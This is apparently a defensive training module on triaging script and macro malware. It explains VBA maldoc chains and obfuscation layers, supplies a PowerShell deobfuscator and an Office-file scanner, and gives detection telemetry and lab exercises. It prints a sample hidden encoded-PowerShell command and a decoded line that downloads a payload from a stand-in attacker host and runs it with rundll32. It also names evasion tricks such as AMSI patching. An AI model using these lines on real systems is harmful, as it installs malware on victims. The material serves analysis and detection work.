Skip to content

Script and Macro Malware Analysis

Script and macro malware analysis covers the document- and script-borne payload family that dominates initial access: VBA-macro office documents, script droppers (JavaScript, VBScript, PowerShell, HTA, JSE/VBE encodings), shortcut (LNK) and help-file (CHM) abuse, and the shellcode loaders they chain into. These payloads are interpreted, not compiled — which changes the analysis craft fundamentally: instead of disassembling machine code, you are deobfuscating source, usually obfuscated to defeat string extraction rather than to resist a human. The artifacts are human-readable after one or two decoding layers, which makes this the highest-throughput malware analysis discipline: an experienced analyst can fully understand a maldoc chain in minutes, and the volume of these samples (they are the #1 email-borne threat class) demands exactly that throughput.

Phishing with malicious attachments and links remains the top initial access vector for real-world intrusions, and the payload behind that phish is overwhelmingly a script or macro. Every IR you will ever work starts (or fails to start) with someone triaging a maldoc correctly, so this is the module where analysis skill has the most direct incident impact. The craft also concentrates a surprising amount of Windows security architecture in one place: macros exercise Office’s security model (the macro-enabled-document trust prompts, Mark-of-the-Web enforcement), script droppers exercise AMSI (E8) and script-block logging (4104), and the delivery chain exercises email security — meaning defensive lessons here generalize. For the defender, this class produces some of the highest-fidelity telemetry available anywhere: WINWORD.EXE spawning powershell.exe is a relationship that should essentially never occur on a business endpoint, and the whole detection backlog around it is cheap, durable, and precise. For the analyst, script analysis builds the string-deobfuscation muscle (M5) that every other malware family benefits from, because obfuscation tooling is shared across families. Finally, this is where attacker innovation is most visible week to week — new Office abuse vectors appear constantly (remote templates, XLM revival, chained LNK+shellcode, OneNote abuse waves) — so the analysis workflow you build here is a living skill, not a solved problem.

A macro-carrying Office file is a container with an embedded VBA project. Legacy .doc/.xls use the OLE Compound File Binary format — a FAT-like file system inside the file — with the macros stored compressed (MS-OVBA decompression) inside the VBA project streams. Modern .docm/.xlsm are ZIP packages where word/vbaProject.bin holds the same OLE structure inside. The macro hooks that trigger execution are named events: AutoOpen, Document_Open, Workbook_Open, Auto_Close — the analyst reads these first because they are the entry point of everything that follows.

MALDOC CHAIN (typical 2020s commodity build)
invoice.docm
└── vbaProject.bin ── AutoOpen() fires on open (if enabled)
└── obfuscated VBA: Chr()/concat/base64 strings
└── WScript.Shell / Shell Execute
└── powershell.exe -nop -w hidden -enc <b64>
└── decoded stage: download + reflect
└── shellcode / PE loader
└── C2 beacon (M7)
alternate vectors: remote template (doc references .dotm on
attacker host -> fetched when opened) | Excel 4.0 XLM sheets
| DDE fields | LNK icon+args | CHM compiled help | OneNote

The obfuscation layers stack in a fairly standard ladder, and the analyst peels bottom-up. String obfuscation: Chr(104)&Chr(101)&Chr(108), hex \x68\x65, base64, or character arithmetic — all mechanical to reverse (the tool below automates the common cases). Execution indirection: CallByName, Run, Shell with the string assembled at the last moment. Environment gating: checks for biodi artifacts, mouse movement, or user prompts before dropping — defeat by executing in a monitored environment and letting the behavior reveal the strings. Encoding wrappers: PowerShell -enc (UTF-16LE base64), -w hidden -nop -exec bypass flag sets, IEX/Invoke-Expression wrappers, FromBase64String chains. The cardinal rule of this discipline: never run the payload to “see what it does” before static extraction — the dropper is fully legible statically in most cases, and dynamic analysis before static understanding wastes the sandbox detonation’s freshness. Where scripts resist static reading (variable-name randomization, control-flow flattening of VBScript), emulation and deobfuscation frameworks (FLOSS for the native stage, de4dot for .NET, Box.js for JS [verify current project states]) carry the load — but the first hour belongs to the simple decoders.

TechniqueCarrierWhat it doesAnalysis counter
VBA AutoOpen chain.docm/.docExecute on openolevba first; read event hooks
Chr/concat obfuscationVBA/VBSHide command stringsDecode mechanically (tool below)
PowerShell -encDropper stageUTF-16LE base64 commandDecode + pretty-print, read flags
Remote template injection.docx (clean)Fetch macro .dotm from attacker hostInspect word/_rels/settings.xml.rels
Excel 4.0 (XLM) macros.xlsmLegacy macro sheet revivalolevba --xlm [verify flag]; sheet dump
DDE/field abuse.docxNo macro; fields executeCheck w:fldChar/DDEAUTO strings
LNK argument abuse.lnkIcon+arguments run commandsParse LNK structure; inspect args
CHM payload.chmCompiled help executes HTML+JShh.exe decompile; check sections
JSE/VBE encoding.jse/.vbeEncoded script formatOfficial decoder (JScript.Encode)
VBA stompingvbaProject.binSource removed; p-code only [verify]p-code disassembly tools
AMSI bypass in scriptPowerShellPatch AmsiScanBuffer (E8)Look for patch byte patterns
Macro-prompt gatingVBAExecute only if user clicksDetonate with automation+monitoring

psdeob.py — a PowerShell deobfuscator that mechanically reverses the most common obfuscation layers: -enc/-EncodedCommand base64, \xNN hex escapes, backtick and quote-splitting, FromBase64String/FromBase64CharArray wrappers, IEX unpacking, and [char] arithmetic. Pure stdlib, operates on any text (script file, extracted macro string, log line).

#!/usr/bin/env python3
"""psdeob.py — PowerShell deobfuscator (mechanical layers).
Usage:
python psdeob.py script.ps1
echo "<obfuscated>" | python psdeob.py -
python psdeob.py maldoc_strings.txt --rounds 3
stdlib only.
"""
import argparse, base64, re, sys
B64_RE = re.compile(
r"(?:FromBase64String|FromBase64CharArray)\s*\(?\s*['\"]"
r"([A-Za-z0-9+/=]{40,})['\"]", re.I)
ENC_RE = re.compile(
r"(?:-e(?:ncodedcommand)?|–e(?:ncodedcommand)?)\s+"
r"['\"]?([A-Za-z0-9+/=]{40,})['\"]?", re.I)
HEX_RE = re.compile(r"\\x([0-9a-fA-F]{2})")
CHAR_RE = re.compile(r"\[char\]\s*(?:\(\s*)?(\d{1,3})(?:\s*\))?")
BACKTICK_RE = re.compile(r"`\s*")
SPLIT_JOIN_RE = re.compile(
r"['\"]\s*\+\s*['\"]") # 'abc' + 'def' -> abcdef
VAR_CONCAT_RE = re.compile(
r"(\$\w+)\s*=\s*['\"]([^'\"]*)['\"]")
def try_decode_b64(s):
"""Decode base64; assume UTF-16LE if it decodes cleanly that way."""
try:
raw = base64.b64decode(s + "=" * (-len(s) % 4))
except Exception:
return None
if raw[:1] in (b"\xff", b"\xfe") or \
(len(raw) >= 2 and raw[1:2] == b"\x00" and
raw[0:1].isascii()):
try:
return raw.decode("utf-16-le")
except UnicodeDecodeError:
pass
try:
return raw.decode("utf-8")
except UnicodeDecodeError:
return raw.decode("latin-1", errors="replace")
def unhex(s):
return HEX_RE.sub(lambda m: chr(int(m.group(1), 16)), s)
def unchar(s):
return CHAR_RE.sub(lambda m: chr(int(m.group(1))), s)
def unconcat(s):
prev = None
while prev != s:
prev = s
s = SPLIT_JOIN_RE.sub("", s)
s = BACKTICK_RE.sub("", s)
return s
def inline_vars(s):
"""Replace $var with its literal where assigned once inline."""
assign = {}
for m in VAR_CONCAT_RE.finditer(s):
name, val = m.group(1), m.group(2)
if name not in assign:
assign[name] = val
for name, val in assign.items():
# only inline when used after assignment, simple case
s = re.sub(re.escape(name) + r"\b",
lambda m, v=val: v, s, count=0)
return s
def round_trip(s):
"""One deobfuscation pass: order matters, cheapest first."""
s = unconcat(s)
s = inline_vars(s)
for rx in (ENC_RE, B64_RE):
m = rx.search(s)
if m:
dec = try_decode_b64(m.group(1))
if dec:
s = rx.sub(lambda _: "\n<<<DECODED>>>\n" + dec +
"\n<<<END>>>\n", s, count=1)
break
s = unhex(s)
s = unchar(s)
return s
def main():
ap = argparse.ArgumentParser()
ap.add_argument("input", help="file or '-' for stdin")
ap.add_argument("--rounds", type=int, default=2)
args = ap.parse_args()
if args.input == "-":
text = sys.stdin.read()
else:
try:
text = open(args.input, encoding="utf-8",
errors="replace").read()
except OSError as e:
sys.exit(f"cannot read: {e}")
cur = text
seen = {cur}
for i in range(args.rounds):
nxt = round_trip(cur)
if nxt in seen: # fixpoint reached
break
seen.add(nxt)
cur = nxt
print(cur)
print(f"\n# rounds applied: {len(seen)-1} "
f"(input {len(text)} chars -> output {len(cur)})", file=sys.stderr)
if __name__ == "__main__":
main()
  • Lines 10-24 define the pattern library. ENC_RE matches both ASCII hyphen and the Unicode dash that real-world PowerShell obfuscators sometimes substitute (line 18-19 — a detail that silently breaks naive regexes on copy-pasted payloads). SPLIT_JOIN_RE (line 23) collapses 'abc' + 'def' into abcdef, and BACKTICK_RE strips PowerShell’s escape-backtick padding.
  • try_decode_b64() (lines 27-40) encodes the format detective work: -enc payloads are UTF-16LE (every second byte NUL — detected at lines 31-34), FromBase64String payloads are usually UTF-8. The fallback to latin-1 with replacement (line 40) guarantees output even on binary junk, because a partial decode with visible fragments beats an exception mid-analysis.
  • unconcat() (lines 48-54) runs the join-strip rules to a fixpoint — the prev != s loop handles nested splits ('a'+'b'+'c') that a single pass would leave half-joined.
  • inline_vars() (lines 57-65) performs first-assignment inlining — deliberately conservative (only the first literal per variable) because obfuscators reuse variable names; inlining later assignments would fabricate wrong strings. False inlining is worse than no inlining in analysis tooling.
  • round_trip() (lines 68-81) orders the passes cheapest-first and stops base64 substitution at the first hit per round (count=1) — decoded payloads often contain new base64, which the next round (via --rounds) catches; this round structure is what makes nested -enc | IEX chains fall out cleanly.
  • The main loop (lines 95-108) iterates to a fixpoint with a seen set guarding against decode cycles, and reports the reduction ratio — a shrinking output is the tool working; growth means a decode round misfired and you should read the previous round instead.

The script/macro payload reaches the target as the first executable moment of an email-borne intrusion: the phish lands, the user enables content (or the format needs no prompt — LNK, CHM, DDE, OneNote payload classes), and the interpreted chain executes — VBA assembles a command, WScript.Shell or direct .Run hands it to powershell.exe, the encoded stage fetches or decodes shellcode, and the loader beacons (M7). Every hop is logged by design on modern Windows: process creation with command lines (4688/Sysmon EID 1), PowerShell script blocks (4104) even when obfuscated (the block log captures what executed, after decoding — which makes 4104 the single richest telemetry source in this whole threat class [verify per PowerShell version]), and module loads (Sysmon EID 7) marking amsi.dll context (E8). The intrusion “reaches” in minutes but persists in hours: the dropper deletes itself, but the delivered stage (an infostealer per M9, or a loader for ransomware access per M8’s chain) does the durable damage. Defenders meet the chain at every layer precisely because scripts are chatty: Office process spawning script hosts is alert-grade on its own; the encoded-command regexes are trivial; and AMSI (E8) catches the decoded stage even when every static layer was dodged. The analysis workflow this module teaches is what turns any single one of those telemetry hits into the full chain — which command was run, from which document, fetching which payload, with which C2 — in under an hour.

  1. Delivery — phishing mail “Overdue_Invoice.docm” passes gateway (T1566.001)
  2. Open — user enables content; AutoOpen fires inside WINWORD.EXE
  3. Obfuscation — VBA assembles command from Chr() fragments; no static strings
  4. Execution — WScript.Shell runs powershell -nop -w hidden -enc (T1059.001)
  5. Decode — stage-1 script downloads shellcode from https://cdn-check[.]top/a.xll
  6. Load — shellcode injected into own process; loader beacon (T1055-style injection)
  7. Delivery 2 — loader pulls RedLine stealer (M9); credentials and cookies exfil
  8. Detection — 4104 script-block + EID 1 parent chain flagged; psdeob recovers full command for IR

maldoc_scan.py — a static maldoc triage scanner: for ZIP-based OOXML it inspects the package for macro containers, external template relationships, and DDE/field abuse markers; for OLE (legacy) formats it scans the compound file for VBA project streams and event-hook names using olefile (stated dependency). Output is a one-screen triage verdict with the artifact paths an analyst opens next.

  • Two containers, one verdict model. OOXML (zipfile, stdlib) and OLE CFB (olefile) cover 95%+ of maldocs seen in practice; the verdict model (clean / suspicious / malicious-shape) is shared so downstream tooling sees one schema.
  • Structural, not behavioral. The tool never executes anything — it reads package structure. That makes it safe on production mail flow and usable before any sandbox decision.
  • Signal > exhaustiveness. Each check maps to a named technique (remote template, VBA present, DDEAUTO, XLM, stomping hint) with the evidence path printed — the analyst verifies, the tool locates. A tool that claims verdicts without evidence trains analysts to stop thinking.
  • Extensible marker tables. The suspicious-string lists (event hooks, dangerous API names) are module-level tables — updating for the next technique wave is a data edit, not a code change.
#!/usr/bin/env python3
"""maldoc_scan.py — static maldoc triage (OOXML + OLE CFB).
Usage: python maldoc_scan.py <file.docx|.doc|.xlsm|.dotm> [...]
Deps: olefile (only for legacy OLE files). pip install olefile
"""
import argparse, re, sys, zipfile
import olefile
EVENT_HOOKS = [b"AutoOpen", b"Document_Open", b"DocumentOpen",
b"Workbook_Open", b"Auto_Close", b"AutoExit",
b"Document_Close", b"Workbook_Activate"]
DANGER_APIS = [b"Shell", b"WScript.Shell", b"CreateObject",
b"CallByName", b"ShellExecute", b"WinExec",
b"URLDownloadToFile", b"GetMouse", b"SetTimer"]
DDE_MARKERS = [b"DDEAUTO", b"DDE ", b"fldChar"]
XLM_MARKERS = [b"Macro", b"EXEC", b"HALT", b"CALL"]
def scan_ooxml(path):
"""ZIP-based Office package triage."""
findings, evidence = [], []
try:
z = zipfile.ZipFile(path)
except zipfile.BadZipFile:
return None, ["not a zip/OOXML package"]
names = z.namelist()
vba = [n for n in names if "vbaProject" in n]
if vba:
findings.append("VBA project present (macro-enabled shape)")
evidence += vba
# remote template: relationship targets outside the package
for n in names:
if n.endswith(".rels"):
data = z.read(n)
for m in re.finditer(
rb'Target="(http[^"]+)"[^>]*?'
rb'TargetMode="External"', data, re.I):
findings.append(
f"external relationship in {n}")
evidence.append(m.group(1).decode(errors="replace"))
for m in re.finditer(
rb'Target="(attachedTemplate[^"]*)"', data, re.I):
findings.append(f"attachedTemplate ref in {n}")
evidence.append(m.group(1).decode())
# DDE / field abuse in document.xml
for doc in [n for n in names if n.endswith(".xml")]:
data = z.read(doc)
for marker in DDE_MARKERS:
if marker in data:
findings.append(
f"DDE/field marker '{marker.decode()}' in {doc}")
# XLM macro sheets (xlsm revival)
if any("macrosheets" in n.lower() for n in names):
findings.append("Excel macro sheet present (XLM)")
return findings, evidence
def scan_ole(path):
"""Legacy OLE compound file triage (doc/xls/ppt)."""
findings, evidence = [], []
if not olefile.isOleFile(path):
return None, ["not an OLE compound file"]
ole = olefile.OleFileIO(path)
streams = ole.listdir()
vba_streams = [ "/".join(s) for s in streams
if any("vba" in part.lower() for part in s) ]
if vba_streams:
findings.append("VBA project streams present")
evidence += vba_streams[:10]
# event hooks + danger APIs inside the streams
for s in vba_streams:
try:
data = ole.openstream(s).read()
except OSError:
continue
for hook in EVENT_HOOKS:
if hook in data:
findings.append(f"event hook {hook.decode()}"
f" in {s}")
for api in DANGER_APIS:
if api in data:
findings.append(
f"dangerous API '{api.decode()}' in {s}")
# XLM in xls
if path.lower().endswith(".xls"):
for s in streams:
try:
data = ole.openstream(s).read()
except OSError:
continue
hits = [m for m in XLM_MARKERS if m in data]
if len(hits) >= 2:
findings.append(
"XLM markers in " + "/".join(s))
break
# OLE package embedding (dropped payload)
if any("object" in "/".join(s).lower() or
"package" in "/".join(s).lower() for s in streams):
findings.append("embedded object/package stream present")
return findings, evidence
def main():
ap = argparse.ArgumentParser()
ap.add_argument("files", nargs="+")
args = ap.parse_args()
for path in args.files:
print(f"== {path} ==")
findings, evidence = [], []
try:
head = open(path, "rb").read(8)
except OSError as e:
print(f" unreadable: {e}")
continue
if head[:2] == b"PK":
f2, e2 = scan_ooxml(path)
findings, evidence = f2 or [], e2
elif head[:8] == b"\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1":
f2, e2 = scan_ole(path)
findings, evidence = f2 or [], e2
else:
findings = ["unrecognized container"]
if not findings or findings == ["unrecognized container"]:
print(" [clean-shape] no macro/abuse structure found")
continue
for f in findings:
print(f" [!] {f}")
if evidence:
print(" evidence paths/refs (open these next):")
for e in evidence[:12]:
print(f" {e}")
print()
if __name__ == "__main__":
main()
  • The container sniff (lines 108-115) dispatches on magic bytes, not extension — maldocs routinely lie about their extension to cross gateways, and PK vs the OLE CFB magic (d0 cf 11 e0) is the only reliable split.
  • scan_ooxml() (lines 25-62) checks the four OOXML abuse surfaces: vbaProject presence (line 33-36), external relationships (lines 39-46 — the remote-template injection marker; the regex requires TargetMode="External" so ordinary internal links don’t fire), DDE/field markers in document XML (lines 49-55), and macro sheets (lines 57-59). Every finding prints its evidence path — the package part an analyst opens next in a zip viewer.
  • scan_ole() (lines 65-100) walks the compound file via olefile, finds VBA streams (note: the macros inside are MS-OVBA compressed, so the API-name scan works on uncompressed portions and hooks/APIs frequently still surface — a limitation stated honestly, solved fully by olevba for deep extraction), and applies the hook/API marker tables. The embedded-package check (lines 95-98) catches the “document-with-attachment-inside” dropper shape.
  • The verdict philosophy (lines 117-121): the tool never outputs “malicious” — it outputs named findings with evidence. Triage tools that assert verdicts get trusted once and then trusted wrongly; triage tools that locate evidence keep the analyst in the loop.

$ pip install olefile

craft a macro-enabled test docx with python-docx + a hand-built

Section titled “craft a macro-enabled test docx with python-docx + a hand-built”

vbaProject part, or use any public maldoc test corpus [verify links]

Section titled “vbaProject part, or use any public maldoc test corpus [verify links]”

$ python3 maldoc_scan.py clean_report.docx == clean_report.docx == [clean-shape] no macro/abuse structure found

$ python3 maldoc_scan.py invoice_maldoc.docm legacy.doc == invoice_maldoc.docm == [!] VBA project present (macro-enabled shape) [!] DDE/field marker ‘fldChar’ in word/document.xml evidence paths/refs (open these next): word/vbaProject.bin == legacy.doc == [!] VBA project streams present [!] event hook AutoOpen in VBA/ThisDocument [!] dangerous API ‘Shell’ in VBA/Module1

chain with the deobfuscator: extract -> decode

Section titled “chain with the deobfuscator: extract -> decode”

$ olevba invoice_maldoc.docm 2>/dev/null | python3 psdeob.py - —rounds 3 <<>> iwr https://cdn-check.top/a.xll -OutFile $env:TEMP\a.xll; rundll32 $env:TEMP\a.xll,DllMain <<>>

The structural markers this scanner checks (external template relationships, DDEAUTO, XLM sheets, VBA-with-hooks) are the same markers mail-gateway and EDR content rules key on — running the scanner on your own inbound sample corpus both triages and teaches you your filter’s blind spots. Your own tooling hygiene: maldoc_scan.py reads bytes only; psdeob.py likewise — neither detonates, so both are safe on analyst workstations. Defender-side telemetry for this whole class is exceptionally rich: 4104 script-block logging captures decoded PowerShell even under obfuscation (E8 covers the AMSI interplay), Sysmon EID 1 parent-child relationships (WINWORD → powershell/cmd/rundll32/wscript) are near-zero-FP alerts, EID 22 catches the payload fetch, and EID 15 (FileCreateHashed) or EID 11 catch dropped stages. Wazuh rule coverage for 4104 and Office-lineage detections depends on your Sysmon-to-Wazuh mapping [verify]; Suricata sees the template/payload fetch as plain HTTP and warrants local sid:1000001+ rules for known template hosts — with TLS everywhere, endpoint-side signals carry the load. The architectural fix that outclasses all filtering: block macro execution from internet-originated files by policy (Office’s MOTW enforcement does this natively when configured), reducing the entire technique class to red-team-only noise.

  1. Add MS-OVBA decompression for vbaProject.bin streams so the hook/API scan sees full compressed content without olevba.
  2. Parse LNK (Shell Link) structures — extra blocks and argument strings — to extend coverage beyond Office containers.
  3. Add OneNote triage (embedded files inventory) reflecting the 2023 abuse wave [verify current state].
  4. Emit a JSON verdict schema so mail-pipeline integration is a config task, not a code task.
  5. Fuzz psdeob.py against public obfuscation frameworks’ outputs (e.g., Invoke-Obfuscation token modes [verify]) and extend the pattern table by measured miss rate.
SignalSourceIDNotes
Office process spawns script hostSysmonEID 1 (parent WINWORD/EXCEL → powershell/cmd/wscript)Near-zero FP, alert-grade
PowerShell script blocksPowerShell operational4104Captures decoded content
Encoded-command usagePowerShell / 46884104 + EID 1 cmdline regex-enc/-w hidden flag combos
AMSI content verdictsAMSI consumers / DefenderDefender 1116/1117; E8 interplayCatches decoded stages
Payload/template fetchSysmonEID 22 (DNS) + EID 3 (flow)Template injection marker
Dropped stage from OfficeSysmonEID 11 (writer = Office/script host)Hash → M9/M8 chain
Macro from MOTW zone blockedOffice/Defender5001/5007 policy eventsPolicy-working confirmation
Suspicious driver/LNK/CHM executionSysmonEID 1 with script host lineageNon-Office dropper classes
Wazuh correlation of the aboveHIDS/SIEM[verify rule IDs per deployment]Join Office→script→network chains
Template fetch over HTTPSuricatacustom/local sid:1000001+Legacy chain only (TLS hides)

Script-borne evasion is a war against content inspection, fought with encoding, structure abuse, and trust abuse in turn. Encoding ladders (base64 → hex → char arithmetic → Gzip → custom alphabets) defeat naive string rules — countered by decoding tools (this module’s craft) and by AMSI/script-block logging, which see the decoded stage by design. Format abuse (XLM revival, DDE, remote templates, LNK/CHM/OneNote) dodges the macro prompt rather than obfuscating the payload — each wave dies when the specific structure is blocked, then migrates to the next format; the durable lesson is to monitor the relationship (Office process → script host → network) rather than any one container trick. VBA stomping strips readable source while leaving executable p-code [verify tooling support] — countered by p-code disassembly. Environment gating (mouse movement, recent-files checks, prompt-click detection) defeats sandbox automation — countered by human-in-the-loop detonation or user-simulation harnesses. AMSI bypass (the AmsiScanBuffer patch covered in E8) is now standard in PowerShell payloads — countered by AMSI-adjacent telemetry (bypass attempts are themselves signature-able) and by not relying on any single sensor. The class’s structural weakness remains unchanged across all evasion: the payload must eventually execute and fetch, and those two moments generate the telemetry no encoding hides.

⚠️ What caught me: I once spent two hours hand-decoding a four-layer VBA string obfuscation, wrote up the command line, and moved on — then a colleague ran the same document through script-block logs from a detonation and had the identical answer in four minutes, because 4104 logged the decoded command the macro actually ran. I had done archaeology on the encoding while the runtime was giving the answer away. The ordering stuck: extract what the runtime logged first, then go static only for the layers the runtime never reached — and never again hand-decode what a sensor already decoded for me.

  1. Build a macro test doc in a lab Office VM: record a trivial macro, add an AutoOpen that runs a Write-Host PowerShell command via Shell, then run both tools — maldoc_scan.py should surface the structure, psdeob.py should decode your -enc wrapper.
  2. Work a real public maldoc from a malware repository (choose one already analyzed publicly so you can grade yourself): extract with olevba, decode with your tool, and compare your recovered chain against the published analysis.
  3. Exercise the deobfuscator’s limits: run a sample through an obfuscation framework’s token modes, feed the output to psdeob.py, and document which layers it recovers and which need manual work — then extend the pattern table by one layer.
  4. Validate the defender telemetry end-to-end in your lab: detonate your test doc with Sysmon + script-block logging live, find the 4104 event, and confirm the decoded command matches your static analysis — the cross-check that builds trust in both directions.
  5. Write the near-zero-FP detection yourself: a rule joining Sysmon EID 1 where parent is an Office process and child is a script host, deploy it in your lab pipeline, and test it against benign automation (a scheduled Office export) to calibrate the exclusions honestly.
  • Technical: Walk through what happens when a user opens a remote-template maldoc — which components fetch what, and where each step is visible in telemetry.
  • Technical: How does PowerShell script-block logging capture obfuscated commands, and why does it defeat encoding-based evasion?
  • Scenario: A user reports opening a suspicious attachment; EDR shows no alerts. What static and telemetry-based steps reconstruct whether anything executed?
  • Conceptual: Why is “Office process spawning a script host” such a durable detection anchor compared to content signatures of specific maldocs?
  • Conceptual: How does AMSI change the script-malware threat model, and what does an AMSI bypass actually buy the attacker?
  • Deep-dive: Design maldoc triage for a mail pipeline processing 100k attachments/day — which checks are O(1) structural, which require emulation, and what runs at which latency budget?
  • Practical: You have 30 minutes to triage 40 maldocs from a single campaign. Which two tools from this module do you run in what order, and what output do you escalate?

M5 (String and Artifact Extraction) · M9 (Infostealer Analysis) · M13 (Delivery Chain Analysis) · E8 (AMSI Analysis) · E11 (Defender Detection Logic)